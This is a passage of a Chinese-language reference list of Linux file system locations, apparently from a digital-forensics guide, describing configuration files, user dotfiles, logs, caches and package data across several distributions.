/etc/initcpio/, /etc/mkinitcpio.conf, /etc/mkinitcpio.d/, /etc/initramfs-tools/* 用于 initramfs 创建的配置和文件。

/etc/inittab 传统的 System V 初始化和运行级别配置。

/etc/issue, /etc/issue.d/, /etc/issue.net 网络登录时显示的横幅。

/etc/iwd/ iNet 无线守护进程配置。

/etc/linuxmint/info, /etc/mintSystem.conf 特定于 Linux Mint 的信息。

/etc/locale.conf 包含定义语言环境设置的变量。

/etc/locale.gen 包含要包含的语言环境列表。

/etc/localtime 指向 /usr/share/zoneinfo/* 中时区文件的符号链接。

/etc/login.defs 登录程序的系统范围配置。

/etc/logrotate.conf, /etc/logrotate.d/ 日志轮换配置。

/etc/lvm/* Linux 卷管理器配置和配置文件。

/etc/machine-id 系统的唯一标识符。

/etc/magic, /etc/magic.mime, /etc/mime.types, /etc/mailcap 用于识别和关联内容与程序的文件。

/etc/mail.rc BSD mail 或 mailx 程序运行的命令。

/etc/mdadm.conf, /etc/mdadm.conf.d/ Linux 软件 RAID 配置。

/etc/modprobe.d/, /modules, /etc/modules-load.d/ 启动时加载的内核模块。

/etc/motd 传统 Unix 日常信息,在登录时显示。

/etc/netconfig 网络协议定义。

/etc/netctl/ netctl 网络管理器配置文件。

/etc/netgroup NIS 网络组文件。

/etc/netplan/ Ubuntu netplan 网络配置文件。

/etc/network/ Debian 网络配置目录。

/etc/NetworkManager/system-connections/ 网络连接,包括 Wi-Fi 和 VPN。

/etc/networks 将名称与 IP 网络关联。

/etc/nftables.conf 用于指定 nftables 规则的常见文件。

/etc/nscd.conf 名称服务缓存守护进程配置文件。

/etc/nsswitch.conf 名称服务切换配置文件。

/etc/ntp.conf 网络时间协议(NTP)配置文件。

/etc/openvpn/ OpenVPN 客户端和服务器配置。

/etc/ostree/, /etc/ostree-mkinitcpio.conf* OSTree 版本化文件系统树配置。

/etc/PackageKit/* PackageKit 配置文件。

/etc/pacman.conf, /etc/pacman.d/ Arch Linux Pacman 包管理器配置。

/etc/pam.conf, /etc/pam.d/ 可插拔认证模块(PAM)。

/etc/pamac.conf Arch Linux 图形包管理器配置。

/etc/papersize, /etc/paperspecs 默认纸张大小和规格。

/etc/passwd, /etc/passwd-, /etc/passwd.YaST2save 包含用户帐户信息的文件。

/etc/polkit-1/ 策略工具规则和配置。

/etc/products.d/ SUSE Zypper 产品信息。

/etc/profile, /etc/profile.d/ 登录 Shell 的启动文件。

/etc/protocols 协议号列表。

/etc/resolv.conf, /etc/resolvconf.conf DNS 解析器配置文件。

/etc/rpm/ Red Hat 包管理器(RPM)配置。

/etc/rsyslog.conf, /etc/rsyslog.d/.conf* rsyslog 守护进程配置。

/etc/sane.d/.conf* SANE 扫描器配置文件。

/etc/securetty 允许 root 登录的终端。

/etc/security/ 存储安全配置的目录。

/etc/services TCP 和 UDP 端口号及其关联名称的列表。

/etc/shadow, /etc/shadow-, /etc/shadow.YaST2save 隐藏密码文件(包含加密密码)。

/etc/shells 有效登录 Shell 的列表。

/etc/skel/ 新用户的默认文件(包括“.”文件)。

/etc/ssh/ 安全外壳(SSH)服务器和默认客户端配置。

/etc/ssl/ SSL/TLS 配置和密钥。

/etc/sssd/ 系统安全服务守护进程(sssd)配置。

/etc/sudoers, /etc/sudoers.d/, /etc/sudo.conf sudo 配置文件。

/etc/swid/ 软件标识标签。

/etc/sysconfig/ 系统配置文件;通常用于 Red Hat 或 SUSE。

/etc/sysctl.conf, /etc/sysctl.d/ sysctl 在启动时或通过命令读取的值。

/etc/syslog-ng.conf, /etc/syslog.conf syslog-ng 和传统 syslog 配置文件。

/etc/systemd/.conf* systemd 守护进程的配置文件。

/etc/systemd/network/ systemd 链接、netdev 和网络(ini 风格)配置文件。

/etc/systemd/system/, /usr/lib/systemd/system/ 系统实例的 systemd 单元文件。

/etc/systemd/user/, /usr/lib/systemd/user/, ~/.config/systemd/user/ 用户实例的 systemd 单元文件。

/etc/tcsd.conf TrouSerS 可信计算守护进程配置文件(TPM 模块)。

/etc/tlp.conf, /etc/tlp.d/ 笔记本电源工具的配置。

/etc/trusted-key.key DNSSEC 信任锚密钥。

/etc/ts.conf 触摸屏库的配置。

/etc/udev/ systemd-udev 规则和配置。

/etc/udisks2/modules.conf.d/, /etc/udisks2.conf udisks 磁盘管理配置。

/etc/ufw/ 简单防火墙规则和配置。

/etc/update-manager/ update-manager 图形工具的配置。

/etc/updatedb.conf mlocate 数据库的配置文件。

/etc/vconsole.conf 虚拟控制台的配置文件。

/etc/wgetrc wget 工具的下载文件配置。

/etc/wicked/ SUSE Wicked 网络管理器的配置文件。

/etc/wireguard/ WireGuard VPN 的配置文件。

/etc/wpa_supplicant.conf WPA supplicant 守护进程配置文件。

/etc/X11/ Xorg 配置(xinitrcxserverrcXsession 等)。

/etc/xattr.confattr 拥有,用于 XFS 扩展属性。

/etc/xdg/ XDG 系统范围的桌面配置文件(包括 autostartuser-dirs.defaults)。

/etc/YaST2/* SUSE YaST 系统范围配置。

/etc/yum.repos.d/ Fedora YUM 仓库配置数据。

/etc/zsh/, /etc/zshrc, /etc/zprofile, /etc/zlogin, /etc/zlogout Z shell 登录和注销文件。

/etc/zypp/ SUSE Zypper 包管理配置。

/home/*/

本部分的文件指向已配置的用户(通常是人)。其中一些文件也可能存在于 /root/,即 root 用户的主目录中。

XDG 和 freedesktop 目录

.cache/ 非必需的持久化用户缓存数据 ($XDG_CACHE_HOME)。

.config/ 持久化用户配置数据 ($XDG_CONFIG_HOME)。

.local/share/ 持久化的用户应用数据 ($XDG_DATA_HOME)。

Documents/ 办公文档。

Downloads/ 下载内容的默认位置。

Desktop/ 常规文件和 *.desktop 定义文件,出现在桌面上。

Music/ 音乐和音频文件。

Pictures/ 照片和图片。

Templates/ 应用模板(办公文档等)。

Videos/ 视频文件。

.cache/

.cache/clipboard-indicator@tudmotu.com/registry.txt GNOME 剪贴板历史。

.cache/flatpak/ 用户缓存的 Flatpak 数据。

.cache/gnome-software/shell-extensions/ 用户安装的 GNOME 扩展。

.cache/libvirt/qemu/log/linux.log QEMU 虚拟机活动日志。

.cache/sessions/ 桌面会话状态数据。

.cache/simple-scan/simple-scan.log 扫描应用程序日志(可能包含保存扫描文件的文件名)。

.cache/thumbnails/, .cache/thumbs-/* 缓存的缩略图图像。

.cache/tracker/, .cache/tracker3/ GNOME 搜索索引文件。

.cache/xfce4/clipman/textsrc Xfce 剪贴板历史记录。

.cache//* 任何可能缓存持久数据以提高性能或效率的应用程序。

.config/

.config/autostart/ 自动启动的 .desktop 程序和插件。

.config/baloofilerc Baloo 桌面搜索配置。

.config/dconf/user dconf 用户配置数据库。

.config/goa-1.0/accounts.conf GNOME 在线账户配置。

.config/grc* 以 g 开头、以 rc 结尾的 GNOME 重写配置文件。

.config/Jitsi Meet/ Jitsi 视频通话的缓存、状态、偏好设置、日志等。

.config/kdeglobals KDE 全局重写设置。

.config/krc, .config/plasmarc** KDE/Plasma 重写配置文件,以 k 开头、以 rc 结尾。

.config/libaccounts-glib/accounts.db KDE 配置的云账户数据。

.config/mimeapps.list 用户文件类型的默认应用程序。

.config/Qlipper/qlipper.ini 剪贴板数据(Lubuntu)。

.config/session/, gnome-session/ 保存的桌面和应用程序状态。

.config/systemd/user/ 用户的 systemd 单元文件。

.config/user-dirs.dirs 用户定义的默认 freedesktop 目录。

.config/xsettingsd/xsettingsd.conf X11 设置配置。

.config//* 任何可能保存用户配置数据的应用程序。

.local/

.local/lib/python/site-packages 用户安装的 Python 模块。

.local/share/akonadi/ KDE/Plasma Akonadi 个人信息管理器搜索数据库。

.local/share/baloo/ KDE/Plasma Baloo 文件搜索数据库。

.local/share/dbus-1/ 用户配置的 D-Bus 会话服务。

.local/share/flatpak/ 用户安装的 Flatpak 软件包。

.local/share/gvfs-metadata/ GNOME 虚拟文件系统的元数据。

.local/share/kactivitymanagerd/ KDE KActivities 管理器。

.local/share/keyrings/ GNOME 密钥环文件。

.local/share/klipper/history2.lst KDE 剪贴板历史记录。

.local/share/kwalletd/ KDE 钱包文件。

.local/share/modem-manager-gui/ 移动网络(短信)应用程序。

.local/share/RecentDocuments/ .desktop 文件,包含最近文档信息。

.local/share/recently-used.xbel GTK 应用程序的最近使用文件。

.local/share/Trash/ 来自 freedesktop.org 规范的垃圾桶目录。

.local/share/xorg/Xorg.0.log Xorg 启动日志。

.local/user-places.xbel GTK 应用程序的最近访问位置。

.local/cache//* 其他任何可能保存数据的应用程序。

其他点文件和目录

.bash_history Bash shell 历史记录文件。

.bash_logout Bash shell 注销脚本。

.bash_profile, .profile, .bashrc Bash shell 登录脚本。

.ecryptfs/ 加密 Ecryptfs 树的常见默认目录。

.gnome2/keyrings/ 旧版 GNOME 2 密钥环。

.gnupg/ GnuPG/GPG 目录,包含配置和密钥。

.john/ John the Ripper 密码破解程序。

.mozilla/ Firefox 浏览器目录;包括配置文件、配置等。

.ssh/ SSH 目录,包含配置、密钥和已知主机。

.thumbnails/ 旧版缩略图图像目录。

.thunderbird/ Thunderbird 邮件客户端目录;包括配置文件、配置、缓存的邮件等。

.Xauthority X11 MIT Magic Cookie 文件。

.xinitrc 用户自定义的 X11 会话启动脚本。

.xsession-errors, .xsession-errors.old X11 当前和上一会话的错误日志。

/usr/

/usr/bin/, /usr/sbin/ 包含可执行文件;如果binsbin已合并,则为符号链接。

/usr/games/ 游戏程序目录。

/usr/include/ 系统 C 头文件(**.h*)。

/usr/lib/, /usr/lib64/, /usr/lib32/, /usr/libx32/ 包含库和可执行文件;架构相关的库存放在不同的目录中。

/usr/local/, /usr/local/opt/ 可选附加软件包的目录。

/usr/opt/ 附加软件包的替代位置。

/usr/src/ 系统源代码。

/usr/lib/

/usr/lib/ 系统范围使用的静态和动态库及支持文件。

/usr/libexec/ 守护进程和系统组件的可执行文件(非管理员使用)。

/usr/lib/locale/locale-archive 使用配置的区域设置构建的二进制文件。

/usr/lib/modules/, /usr/lib/modprobe.d/, /usr/lib/modules-load.d/ 内核模块和配置文件。

/usr/lib/os-release 包含已安装发行版信息的文件。

/usr/lib/python/* 系统范围内的 Python 模块和支持文件。

/usr/lib/sysctl.d/ 默认的sysctl配置文件。

/usr/lib/udev/ udev 支持文件和规则(rules.d/)。

/usr/lib/tmpfiles.d/ 临时文件和目录的配置。

/usr/lib/systemd/

/lib/systemd/system/ 默认的系统单元文件。

/lib/systemd/user/ 默认的用户单元文件。

/usr/lib/systemd/generators/** 用于创建单元文件的生成程序。

/usr/lib/systemd/network/ 默认的网络、链接和网卡设备文件。

/usr/lib/systemd/systemd* Systemd 可执行文件。

/usr/local/, /usr/opt/

/usr/local/ 目录,传统 Unix 系统中用于本地安装二进制文件的位置,而非网络挂载的目录。Linux 系统可能会将其用于附加软件包。

/usr/local/bin/, /usr/local/sbin/ 本地二进制文件。

/usr/local/etc/ 本地配置。

/usr/local/doc/, /usr/local/man/ 本地文档和手册页。

/usr/local/games/ 本地游戏。

/usr/local/lib/, /usr/local/lib64/, /usr/local/libexec/ 相关的本地文件。

/usr/local/include/, /usr/local/src/ 头文件和源代码。

/usr/local/share/ 与架构无关的文件。

/usr/share/

/usr/share/ 不同软件包或架构之间共享的文件。

/usr/share/dbus-1/ 默认的系统和会话 D-Bus 配置数据。

/usr/share/factory/etc/ 一些/etc/文件的初始安装默认值。

/usr/share/hwdata/pci.ids PCI 供应商、设备和子系统的列表。

/usr/share/hwdata/usb.ids USB 供应商、设备和接口的列表。

/usr/share/hwdata/pnp.ids 产品供应商名称缩写的列表。

/usr/share/i18n/, /usr/share/locale/ 国际化数据。

/usr/share/metainfo/ 带有 AppStream 元数据的 XML 文件。

/usr/share/polkit-1/ PolicyKit 规则和操作。

/usr/share/zoneinfo/ 不同区域的时区数据文件。

/usr/share/accounts/ KDE 在线账户的服务和提供者文件。

/usr/share/doc/ 软件包提供的文档。

/usr/share/help/ GNOME 帮助文件及其翻译。

/usr/share/man/ 带翻译的手册页。

/usr/share/src/, /usr/share/include/ 源代码;C 语言头文件(**.h*)文件。

/var/

/var/backups/ Debian 软件包、替代项以及 passwd/group 文件的备份数据。

/var/games/ 安装游戏的可变数据;可能包含带有名称和日期的高分文件。

/var/local/ 安装在/usr/local/中的软件的可变数据。

/var/opt/ 安装在/usr/opt/中的软件的可变数据。

/var/run/ 运行时数据;通常在取证镜像中为空。

/var/tmp/ 临时文件;在重启后仍然存在。

/var/crash/ 崩溃转储、堆栈跟踪和报告。

/var/mail/ 本地缓存的邮件(一些发行版如 Ubuntu 和 Fedora 不再默认设置邮件子系统)。

/var/www/ 存储 HTML 页面的位置。

/var/db/sudo/lectured/ 空文件,表示用户第一次使用sudo时已接受相关提示。

/var/cache/

/var/cache/ 持久化的系统范围缓存数据。

/var/cache/apt/ Debian 包的缓存下载。

/var/cache/cups/ CUPS 打印系统。

/var/cache/cups/job.cache 打印作业缓存,包含文件名、时间戳和打印机名称。

/var/cache/cups/job.cache.* job.cache 的轮换版本。

/var/cache/debconf/ 系统范围的 Debian 缓存数据。

/var/cache/debconf/passwords.dat 包含系统生成的密码。

/var/cache/dnf/ 系统范围的 Fedora DNF 包缓存数据。

/var/cache/PackageKit/ 与发行版无关的系统范围 PackageKit 包缓存数据。

/var/cache/pacman/ 系统范围的 Arch Linux Pacman 包缓存数据。

/var/cache/snapd/ 系统范围的 Ubuntu Snap 包缓存数据。

/var/cache/zypp/ 系统范围内的缓存 SUSE Zypper 包数据。

/var/log/

/var/log/alternatives.log Debian 替代命令名称系统日志。

/var/log/anaconda/ Fedora Anaconda 初始安装程序日志。

/var/log/apache2/ 默认的 Apache 网络服务器日志。

/var/log/apport.log Ubuntu 崩溃处理系统日志。

/var/log/apt/ Debian Apt 包管理器日志。

/var/log/aptitude Debian Aptitude 执行动作日志。

/var/log/archinstall/install.log Arch Linux 初始安装日志。

/var/log/audit/ Linux 审计系统日志。

/var/log/boot.log Plymouth 启动画面控制台输出。

/var/log/btmp 登录失败(错误)尝试的日志。

/var/log/Calamares.log Calamares 初始安装日志。

/var/log/cups/ CUPS 打印系统的访问、错误和页面日志。

/var/log/daemon.log 与守护进程相关的常见 syslog 文件。

/var/log/ 系统范围日志文件的默认位置。

/var/log/dmesg 内核环形缓冲区日志。

/var/log/dnf.log Fedora DNF 包管理器日志。

/var/log/dpkg.log Debian dpkg 包管理器日志。

/var/log/firewalld firewalld 守护进程日志。

/var/log/hawkey.log Fedora Anaconda 日志。

/var/log/installer/ Debian 初始安装程序日志。

/var/log/journal/ Systemd 日志文件(系统和用户)。

/var/log/kern.log 与内核相关的常见 syslog 文件(环形缓冲区)。

/var/log/lastlog 最后登录日志及来源信息。

/var/log/lightdm/ Lightdm 显示管理器日志。

/var/log/mail.err 与邮件相关的常见 syslog 错误日志。

/var/log/messages 传统的 Unix 日志文件,包含 syslog 消息。

/var/log/mintsystem.log, mintsystem.timestamps Linux Mint 特定的日志。

/var/log/openvpn/ OpenVPN 系统日志。

/var/log/pacman.log Arch Linux Pacman 包管理器日志。

/var/log/sddm.log SDDM 显示管理器日志。

/var/log/tallylog PAM 计数状态文件,记录失败的登录尝试。

/var/log/ufw.log 简单防火墙(UFW)日志。

/var/log/updateTestcase-/* SUSE 错误报告数据。

/var/log/wtmp 传统的系统登录记录。

/var/log/Xorg.0.log Xorg 启动日志。

/var/log/YaST2 SUSE YaST 日志。

/var/log/zypper.log SUSE Zypper 包管理器日志。

/var/log/zypp/history SUSE Zypper 包管理器历史记录。

/var/log/* 其他由应用程序或系统组件创建的日志。

/var/lib/

/var/lib/ 已安装软件的持久性变量数据。

/var/lib/abrt/ 自动化错误报告工具数据。

/var/lib/AccountsService/icons/* 用户选择的登录图标。

/var/lib/AccountsService/users/* 用户的默认或最后会话登录设置。

/var/lib/alternatives/ 替代命令名称的符号链接。

/var/lib/bluetooth/ 蓝牙适配器和配对的蓝牙设备。

/var/lib/ca-certificates/ 系统范围内的 CA 证书存储库。

/var/lib/dnf/ Fedora DNF 安装包信息。

/var/lib/dpkg/, /var/lib/apt/ Debian 安装的包信息。

/var/lib/flatpak/ Flatpak 安装的包信息。

/var/lib/fprint/ 指纹识别器数据,包括已注册的用户指纹。

/var/lib/gdm3/ GNOME 3 显示管理器设置和数据。

/var/lib/iwd/ iNet 无线守护进程,包括接入点信息、密码。

/var/lib/lightdm/ Lightdm 显示管理器设置和数据。

/var/lib/linuxmint/mintsystem/ Linux Mint 系统范围的设置。

/var/lib/mlocate/mlocate.db locate 搜索命令的文件数据库。

/var/lib/NetworkManager/ 网络管理器数据,包括租约、bssids 等。

/var/lib/PackageKit/ PackageKit transactions.db

/var/lib/pacman/ Arch Linux Pacman 数据。

/var/lib/polkit-1/ PolicyKit 数据。

/var/lib/rpm/ RPM SQLite 包数据库。

/var/lib/sddm/ SDDM 显示管理器数据。

/var/lib/selinux/ SELinux 模块、锁和数据。

/var/lib/snapd/ Ubuntu 安装的 Snap 包信息。

/var/lib/systemd/ 系统范围的 systemd 数据。

/var/lib/systemd/coredump/ Systemd 核心转储数据。

/var/lib/systemd/pstore/ pstore 保存的崩溃转储数据。

/var/lib/systemd/timers/ Systemd 定时器单元文件。

/var/lib/systemd/timesync/clock 空文件;mtime 可用于在没有硬件时钟的系统上设置大致时间。

/var/lib/ucf 更新配置文件数据。

/var/lib/upower/ 电源历史文件(笔记本电脑的充电/放电情况)。

/var/lib/whoopsie/whoopsie-id 用于发送到 Ubuntu/Canonical 服务器的崩溃数据的唯一标识符。

/var/lib/wicked/ Wicked 网络管理器数据。

/var/lib/YaST2/ SUSE YaST 配置数据。

/var/lib/zypp/AnonymousUniqueId 用于联系 SUSE 服务器的唯一标识符。

/var/lib/zypp/ SUSE Zypper 包管理器数据。

/var/spool/

/var/spool/ 用于使用队列目录进行作业的守护进程的位置。

/var/spool/abrt/, /var/tmp/abrt 发送到 Fedora 的崩溃报告数据。

/var/spool/at/ 计划的 at 作业。

/var/spool/cron/, /var/spool/anacron/ 计划的 cron 作业。

/var/spool/cups/ CUPS 打印队列目录。

/var/spool/lpd/ 传统的行打印机守护进程队列目录。

/var/spool/mail/ 参见 /var/mail/

posted @ 2025-11-26 09:19  绝不原创的飞龙  阅读(0)  评论(0)    收藏  举报